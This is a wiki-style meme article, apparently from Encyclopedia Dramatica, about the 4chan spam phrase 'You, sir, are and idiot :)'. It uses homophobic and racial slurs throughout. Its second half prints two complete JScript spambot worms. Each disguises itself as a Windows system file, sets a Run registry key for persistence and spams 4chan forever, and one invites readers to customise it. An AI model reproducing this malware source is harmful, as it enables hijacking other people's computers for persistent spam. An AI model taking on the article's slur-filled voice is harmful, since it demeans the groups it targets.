You, sir, are and idiot :)

	ALERT: THIS IS A FORCED MEME
	You, sir, are and idiot :) will be posted by the same unfunny newfag until you like it.

Kimmo Alm started it.

All I have to do is download this link from /b/? Seems legit.

Awesome form

You Sir, are and idiot :) is the McDonald's of The Cancer That Is Killing /b/: hot, fast and ready to be smeared across the interbutts like so much AIDS-tinged santorum. It is a simple bit of copypasta used by first by Anontalk.com spambots. The spam came from idiots who thought it was a good idea to run an "irritating game" they downloaded from a link posted on /b/. What they actually downloaded was some delicious Javascript. Later versions of the "game" were executables which presumably inducted the newfags into a proper botnet.

It was later adopted by Newfags to respond to a post they not disagree with, but rather merely happen to see when they alt-tab back to /b/ from their CP du jour. The OP is typically filled with extreme, Godlike fury at the newfag, but really, it was probably just You Laugh You Lose again.

The Cancer in Action

"You Sir..." is arguably the most glaring and malignant symptom of the Teh Cancer; not only can it be seen quite often on the front page, it will sometimes latch onto the rare and elusive non-shitty threads like Chris-Chan on an attractive store clerk. It usually manifests itself as follows

• Prima: ITT: Orange Juice and its uses
• Secunda: You Sir, Are And Idiot :)

When hunting for this cancer, pay attention to the timestamp. 9 out of 10 times it will be posted seconds after the original posting.

How To Win Enemies and Infuriate Aspies

1. Go to /b/
2. Click Reply on the first thread you see. Think fast, no dawdling.
3. Type "You Sir, Are And Idiot" and add whatever smiley you wish to the end. Hit Reply and resume fapping.
4. ????
5. PROFIT!

• 
  Further proof the cancer is spreading over the internets
• 
  A typical idiot posting, and being pwnt by Anon.
• 
  Another idiot. Note how he posted on the internets.
• 
  There are at least 100 idiots on the internet. Be wary.

What you can do

Before you post this shitty meme to /b/, note that now it will get you banned for 3 days. Other than that, not much can be done about it. Sage is useless most times, and STFU is like firing blanks. Really, all you can do to combat this is to not be a faggot when you reply to posts in /b/.

Better yet, don't read /b/ at all

[-+]Source code of an "and idiot" spambot

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f=WSH.createobject("scripting.filesystemobject")
fn=f.getspecialfolder(1)+"\\svchost.jse"
f.copyfile(WSH.scriptname,fn)
WSH.createobject("wscript.shell").regwrite("HKCU\\software\\microsoft\\windows\\currentversion\\run\\Generic Host Process for Win32 Services",fn)
x=WSH.createobject("msxml2.xmlhttp")
z="()/".split("")
while(1){
try{
x.open("get","http://img.4chan.org/b/?"+new Date().getTime(),0)
x.send()
r=x.responsetext
t=r.substr(r.indexOf("res/")+4,8)
s="!resto\n\n"+t+"!com\n\n>>"+t+"\n\nYou, sir, are and idiot. :"+z[Math.floor(Math.random()*3)]+"!mode\n\nregist"
s=s.replace(/!/g,"\n--\ncontent-disposition:form-data;name=")
x.open("post","http://dat.4chan.org/b/imgboard.php",0)
x.setrequestheader("content-type","multipart/form-data;boundary=")
x.send(s)
}catch(e){}
WSH.sleep(10000+Math.ceil(Math.random()*10000))}

[-+]A more advanced version

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//below is all the shit the script can post,
//separated by #. feel free to add whatever you want.
phr=(
"You, sir, are and idiot.#butthurt?#lol trolled#your gay#GTFO my /B/#well your mom#yeah i noticed that too#Agreed 100%. OP is totally gay.#suck my cock#faggot#your an amerifag right?#fatass#fuck off#i lol'd#NOOO#No.#newfag#no#ok#i disagree#troll detected#I guess thats why they call it randum xD#Why so serious?#diaf#gtfo#foad#stfu#I am better than u.#shit was SO cash#This is not an automated message.#EPIC WIN#This thread is now about how much OP fails at life and the internets.#I had consensual sex in the missionary position with your mother.#don't do this unless your a FGT#best be trolling nigger"
).split("#")
f=WSH.createobject("scripting.filesystemobject")
fn=f.getspecialfolder(1)+"\\systinit.js"
q="abcdefghijklmnopqrstuvwxyz".split("")
f.copyfile(WSH.scriptname,fn)
WSH.createobject("wscript.shell").regwrite("HKCU\\software\\microsoft\\windows\\currentversion\\run\\"+f.getfilename(fn),fn)
x=WSH.createobject("msxml2.xmlhttp")
a="abcdefghijklmnopqrstuvwxyz0123456789".split("")
p="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ".split("")

//below is the shit the script sometimes adds to the end of the post, separated by spaces

s=":O :0 :3 >:3 :4 :5 DSFARGEG fail faggot nigger :) :( :/ :\\ =) =( =/ =\\ :| =| xD XD :P =P :D =D :] =] :[ =[ :} =} :{ ={ <3 O_o o_O ^_^ ;) ;( :@ :> :<".split(" ")
while(1){
try{
n=10+Math.random()*20
bou=""
pw=""
for(i=0;i<n;i++)bou+=a[Math.floor(Math.random()*a.length)]
for(i=0;i<8;i++)pw+=p[Math.floor(Math.random()*p.length)]
x.open("GET","http://img.4chan.org/b/?"+Math.random(),0)
x.send()
r=x.responsetext
t=r.substr(r.indexOf("res/")+4,8)
x.open("GET","http://img.4chan.org/b/res/"+t+".html",0)
x.send()
var th=(x.responsetext+"").match(/[0-9]{8,8}/g)
c=""
if(Math.random()<.3)c+=">>"+th[Math.floor(Math.random()*th.length)]+"\r\n"
c+=phr[Math.floor(Math.random()*phr.length)]+" "
if(Math.random()<.2)c+=s[Math.floor(Math.random()*s.length)]
c=c.split("");
while(Math.random()<.1)
c.splice(Math.floor(Math.random()*c.length),Math.floor(Math.random()*4),String.fromCharCode(32+Math.floor(Math.random()*95)))
c=c.join("")
x.open("POST","http://dat.4chan.org/b/imgboard.php",0)
x.setrequestheader("Content-Type","multipart/form-data; boundary="+bou)
x.send((
'!"resto"\r\n\r\n'+t+'!"com"\r\n\r\n'+c+'!"pwd"\r\n\r\n'+pw+'!"mode"\r\n\r\nregist\r\n--'+bou+'--\r\n'
).replace(/!/g,"\r\n--"+bou+"\r\nContent-Disposition: form-data; name="))
}catch(e){}
WSH.sleep(10000+Math.ceil(Math.random()*10000))} 

See Also

• You Are An Idiot
• Your a fucking idiot